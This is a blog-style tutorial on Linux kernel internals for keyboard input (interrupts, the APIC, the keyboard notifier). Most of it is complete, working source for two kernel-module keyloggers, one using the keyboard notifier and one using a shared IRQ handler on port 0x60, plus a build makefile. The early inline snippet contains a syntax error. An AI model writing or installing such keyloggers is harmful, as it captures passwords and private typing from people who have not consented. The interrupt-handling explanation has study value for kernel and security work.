..

Keylogging In Linux (kernel Version)

In previous posts, we covered how a keylogger can be written for Linux in userland. Today, we will cover techniques to capture keyboard events in linux kernel.

Linux Kernel and Keyboard

A slightly detailed diagram of keyboard handling is given below.

The kernel sets up interrupt handlers by populating Interrupt Descriptor Table, and passing it to CPU (so CPU knows which routine to call on any given interrupt). The kernel also provides a keyboard notification system, which accepts objects of notifier_block from other kernel modules; and calls corresponding callbacks on every keyboard event.

Interrupt Handling

What is an interrupt

An interrupt is an event that alters the normal execution flow of a program and can be generated by hardware devices or even by the CPU itself.

Interrupts can be grouped into two categories based on the source of the interrupt:

Or,

Interrupts at hardware level

Generally, devices that raise interrupts are not directly connected to CPU. Hardware uses a special component called Programmable Interrupt Controller (PIC), that assists the CPU by taking interrupts from multiple devices, and supplying to CPU in suitable format. The basic scheme looks something like this:

At more realistic level, instead of having one PIC talking to one CPU; we generally have one Advanced Programmable Interrupt Controller (which interfaces with I/O devices), and one local APIC per core to deal with locally connected devices like thermal sensors, or timers. This scheme looks something like this:

External devices are interfaced with I/O APIC, which takes interrupts from them, and passes to some CPU core (depending upon how IRQs are scheduled) to handle it. This happens in roughly following manner:

Interrupts at software level

Although interrupts can be handled at device level and (A)PIC levels as well, we will limit ourselves to handling on CPU. Once a CPU gets an interrupt request, it does the following:

In Linux, interrupts are generally handled in three phases (not all interrupt handlers will have all three):

  1. Kernel will disable local interrupts, and acknowledge the interrupt request. Kernel will run a generic interrupt handler, which will determine interrupt number, the interrupt handler for this particular interrupt and interrupt controller. Why is this necessary? Because same interrupt request may be shared by multiple devices. Such interrupts are called shared interrupts.
  2. All associated handlers from corresponding device drivers will be executed. A special “end of interrupt” is called at end of this chain; so that control can be re-asserted by interrupt controller. The local processor interrupts remain disabled at this stage.
  3. At this stage local interrupts on processor will be enabled. All deferred interrupt context actions will be executed here.

Deferred actions are used to run callback functions at a later time. If deferrable actions scheduled from an interrupt handler, the associated callback function will run after the interrupt handler has completed.

Keyboard Notifier

The keyboard notifier calls the callbacks, and passes data in format of keyboard_notifier_param, which is defined as below:

struct keyboard_notifier_param {
	struct vc_data *vc;
	int down;
	int shift;
	int ledstate;
	unsigned int value;
};

where:

For more details, you can refer to kbd_keycode() in drivers/tty/vt/keyboard.c.

Keylogging in kernel

There are two ways to capture keyboard events in kernel: we can either use keyboard notifier; or install our own interrupt request handler.

By Using Keyboard Notifier

The event notification callback can be written as shown below:

int keyboard_event_handler(struct notifier_block *nblock, unsigned long code, void *_param)
{
    char keybuf[12] = {0};
    struct keyboard_notifier_param *param = _param;

    if (!(param->down)) return NOTIFY_OK;

    keycode_to_string(param->value, param->shift, keybuf, 12);

    if (strlen(keybuf); < 1) return NOTIFY_OK;

    printk(KERN_INFO "Keylog: %s", keybuf);

    return NOTIFY_OK;
}

This handler can be registered at load time (and unregistered at unload time), as shown below:

static struct notifier_block keysniffer_blk = {
        .notifier_call = keyboard_event_handler,
};

static int __init keylogger_init(void)
{
        register_keyboard_notifier(&keysniffer_blk);
        return 0;
}

static void __exit keylogger_exit(void)
{
        unregister_keyboard_notifier(&keysniffer_blk);
}

The incoming keycodes can be mapped to corresponding keys using a mapping. Refer to complete listing at end of the article for a reference implementation.

By Installing Own Interrupt Handler

Since it is possible to have multiple interrupt request handlers, let us try to do exactly that. The basic logic will be as follows:

But now, there is a problem: we should not be performing the logging part as part of request handler itself (interrupts like to be fast, and do not want to get blocked). This is where deferred actions are useful: we can have a deferred action, which will log the captured data for us; once the interrupt handler has done its job. We will be using something called “tasklet”, which is basically a function that will run in interrupt context.

Since we are working at really low level here, we also have to deal with extracting keycode on our own. Since most of the keyboards in laptops (and that is all I have) use PS/2 interface to talk to host, we will limit to those.

PS/2 keyboards generally use two ports to communicate with host:

Since we are interested in keypress events, the keycode will be data; and therefore we can get keycode if we read from port 0x60 in our interrupt handler.

We can write a minimal IRQ handler as shown below:

irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
    scancode = inb(0x60);
    return (irq_handler_t)IRQ_HANDLED;
}

The tasklet can be defined as shown below:

void tasklet_logger(unsigned long dummy)
{
    ...
}

DECLARE_TASKLET(my_tasklet, tasklet_logger, 0);

Now we can register our tasklet and IRQ handlers as shown below:

irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
    data.scancode = inb(0x60);
    tasklet_schedule(&my_tasklet);
    return (irq_handler_t)IRQ_HANDLED;
}

static int __init kb_init(void)
{
    int ret;

    ret = request_irq(KB_IRQ, (irq_handler_t)kb_irq_handler, IRQF_SHARED, "custom handler", &data);
    if(ret != 0){
            printk(KERN_INFO "keylogger: Cannot request IRQ for keyboard.\n");
    }

    return ret;
}

static void __exit kb_exit(void)
{
    tasklet_kill(&my_tasklet);
    free_irq(KB_IRQ, &data);
}

Complete Source Code

For sake of completeness (and because I promised to provide reference implementation), here are the codes.

Keylogger using keyboard notifier

#include <linux/module.h>
#include <linux/keyboard.h>
#include <linux/input.h>

MODULE_LICENSE("GPL");

static const char *us_keymap[][2] = {
    {"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"},       // 0-3
    {"3", "#"}, {"4", "$"}, {"5", "%"}, {"6", "^"},                 // 4-7
    {"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"},                 // 8-11
    {"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"},         // 12-14
    {"_TAB_", "_TAB_"}, {"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
    {"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"},                 // 20-23
    {"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"},                 // 24-27
    {"\n", "\n"}, {"_LCTRL_", "_LCTRL_"}, {"a", "A"}, {"s", "S"},   // 28-31
    {"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"},                 // 32-35
    {"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"},                 // 36-39
    {"'", "\""}, {"`", "~"}, {"_LSHIFT_", "_LSHIFT_"}, {"\\", "|"}, // 40-43
    {"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"},                 // 44-47
    {"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"},                 // 48-51
    {".", ">"}, {"/", "?"}, {"_RSHIFT_", "_RSHIFT_"}, {"_PRTSCR_", "_KPD*_"},
    {"_LALT_", "_LALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"},
    {"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"},         // 60-63
    {"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"},         // 64-67
    {"F10", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"},   // 68-70
    {"_KPD7_", "_HOME_"}, {"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, // 71-73
    {"-", "-"}, {"_KPD4_", "_LEFT_"}, {"_KPD5_", "_KPD5_"},         // 74-76
    {"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"},         // 77-79
    {"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, // 80-82
    {"_KPD._", "_DEL_"}, {"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"},      // 83-85
    {"\0", "\0"}, {"F11", "F11"}, {"F12", "F12"}, {"\0", "\0"},     // 86-89
    {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
    {"\0", "\0"}, {"_KPENTER_", "_KPENTER_"}, {"_RCTRL_", "_RCTRL_"}, {"/", "/"},
    {"_PRTSCR_", "_PRTSCR_"}, {"_RALT_", "_RALT_"}, {"\0", "\0"},   // 99-101
    {"_HOME_", "_HOME_"}, {"_UP_", "_UP_"}, {"_PGUP_", "_PGUP_"},   // 102-104
    {"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"},
    {"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"},   // 108-110
    {"_DEL_", "_DEL_"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},   // 111-114
    {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},         // 115-118
    {"_PAUSE_", "_PAUSE_"},                                         // 119
};

void keycode_to_string(int keycode, int shift_mask, char *buf, unsigned int buf_size)
{
    if (keycode > KEY_RESERVED && keycode <= KEY_PAUSE)
    {
        const char *us_key = (shift_mask == 1)
                                ? us_keymap[keycode][1]
                                : us_keymap[keycode][0];

        snprintf(buf, buf_size, "%s", us_key);
    }
}

int keyboard_event_handler(struct notifier_block *nblock, unsigned long code, void *_param)
{
    char keybuf[12] = {0};
    struct keyboard_notifier_param *param = _param;

    if (!(param->down)) return NOTIFY_OK;

    keycode_to_string(param->value, param->shift, keybuf, 12);

    if (strlen(keybuf) < 1) return NOTIFY_OK;

    printk(KERN_INFO "Keylog: %s", keybuf);

    return NOTIFY_OK;
}

static struct notifier_block keysniffer_blk = {
    .notifier_call = keyboard_event_handler,
};

static int __init keylogger_init(void)
{
    register_keyboard_notifier(&keysniffer_blk);
    return 0;
}

static void __exit keylogger_exit(void)
{
    unregister_keyboard_notifier(&keysniffer_blk);
}

module_init(keylogger_init);
module_exit(keylogger_exit);

Keylogger using custom keyboard interrupt handler

#include <linux/module.h>
#include <linux/interrupt.h>
#include <asm/io.h>
#include <linux/string.h>

#define KB_IRQ 1

struct logger_data{
    unsigned char scancode;
} data;

void tasklet_logger(unsigned long dummy)
{
    static int shift = 0;

    char buf[32];
    memset(buf, 0, sizeof(buf));
    switch(data.scancode){
        default: return;

        case 1: strcpy(buf, "(ESC)"); break;
        case 2: strcpy(buf, (shift) ? "!" : "1"); break;
        case 3: strcpy(buf, (shift) ? "@" : "2"); break;
        case 4: strcpy(buf, (shift) ? "#" : "3"); break;
        case 5: strcpy(buf, (shift) ? "$" : "4"); break;
        case 6: strcpy(buf, (shift) ? "%" : "5"); break;
        case 7: strcpy(buf, (shift) ? "^" : "6"); break;
        case 8: strcpy(buf, (shift) ? "&" : "7"); break;
        case 9: strcpy(buf, (shift) ? "*" : "8"); break;
        case 10: strcpy(buf, (shift) ? "(" : "9"); break;
        case 11: strcpy(buf, (shift) ? ")" : "0"); break;
        case 12: strcpy(buf, (shift) ? "_" : "-"); break;
        case 13: strcpy(buf, (shift) ? "+" : "="); break;
        case 14: strcpy(buf, "(BACK)"); break;
        case 15: strcpy(buf, "(TAB)"); break;
        case 16: strcpy(buf, (shift) ? "Q" : "q"); break;
        case 17: strcpy(buf, (shift) ? "W" : "w"); break;
        case 18: strcpy(buf, (shift) ? "E" : "e"); break;
        case 19: strcpy(buf, (shift) ? "R" : "r"); break;
        case 20: strcpy(buf, (shift) ? "T" : "t"); break;
        case 21: strcpy(buf, (shift) ? "Y" : "y"); break;
        case 22: strcpy(buf, (shift) ? "U" : "u"); break;
        case 23: strcpy(buf, (shift) ? "I" : "i"); break;
        case 24: strcpy(buf, (shift) ? "O" : "o"); break;
        case 25: strcpy(buf, (shift) ? "P" : "p"); break;
        case 26: strcpy(buf, (shift) ? "{" : "["); break;
        case 27: strcpy(buf, (shift) ? "}" : "]"); break;
        case 28: strcpy(buf, "(ENTER)"); break;
        case 29: strcpy(buf, "(CTRL)"); break;
        case 30: strcpy(buf, (shift) ? "A" : "a"); break;
        case 31: strcpy(buf, (shift) ? "S" : "s"); break;
        case 32: strcpy(buf, (shift) ? "D" : "d"); break;
        case 33: strcpy(buf, (shift) ? "F" : "f"); break;
        case 34: strcpy(buf, (shift) ? "G" : "g"); break;
        case 35: strcpy(buf, (shift) ? "H" : "h"); break;
        case 36: strcpy(buf, (shift) ? "J" : "j"); break;
        case 37: strcpy(buf, (shift) ? "K" : "k"); break;
        case 38: strcpy(buf, (shift) ? "L" : "l"); break;
        case 39: strcpy(buf, (shift) ? ":" : ";"); break;
        case 40: strcpy(buf, (shift) ? "\"" : "'"); break;
        case 41: strcpy(buf, (shift) ? "~" : "`"); break;
        case 42:
        case 54: shift = 1; break;
        case 170:
        case 182: shift = 0; break;
        case 44: strcpy(buf, (shift) ? "Z" : "z"); break;
        case 45: strcpy(buf, (shift) ? "X" : "x"); break;
        case 46: strcpy(buf, (shift) ? "C" : "c"); break;
        case 47: strcpy(buf, (shift) ? "V" : "v"); break;
        case 48: strcpy(buf, (shift) ? "B" : "b"); break;
        case 49: strcpy(buf, (shift) ? "N" : "n"); break;
        case 50: strcpy(buf, (shift) ? "M" : "m"); break;
        case 51: strcpy(buf, (shift) ? "<" : ","); break;
        case 52: strcpy(buf, (shift) ? ">" : "."); break;
        case 53: strcpy(buf, (shift) ? "?" : "/"); break;
        case 56: strcpy(buf, "(R-ALT"); break;
        case 55:
        case 57:
        case 58:
        case 59:
        case 60:
        case 61:
        case 62:
        case 63:
        case 64:
        case 65:
        case 66:
        case 67:
        case 68:
        case 70:
        case 71:
        case 72: strcpy(buf, " "); break;
        case 83:
        strcpy(buf, "(DEL)"); break;
    }
    printk(KERN_INFO "keylogger log: %s", buf);
}

DECLARE_TASKLET(my_tasklet, tasklet_logger, 0);

irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
        data.scancode = inb(0x60);

        tasklet_schedule(&my_tasklet);
        return (irq_handler_t)IRQ_HANDLED;
}

static int __init kb_init(void)
{
        int ret;
        printk(KERN_INFO "keylogger: initializing...");

        ret = request_irq(KB_IRQ, (irq_handler_t)kb_irq_handler, IRQF_SHARED, "custom handler", &data);
        if(ret != 0){
                printk(KERN_INFO "keylogger: Cannot request IRQ for keyboard.\n");
        }

        printk(KERN_INFO "keylogger: initialization complete.");

        return ret;
}

static void __exit kb_exit(void)
{
        tasklet_kill(&my_tasklet);

        free_irq(KB_IRQ, &data);

        printk(KERN_INFO "keylogger: unloaded.");
}

MODULE_LICENSE("GPL");

module_init(kb_init);
module_exit(kb_exit);

You can use the following makefile to compile these:

obj-m += keylogger.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Have fun.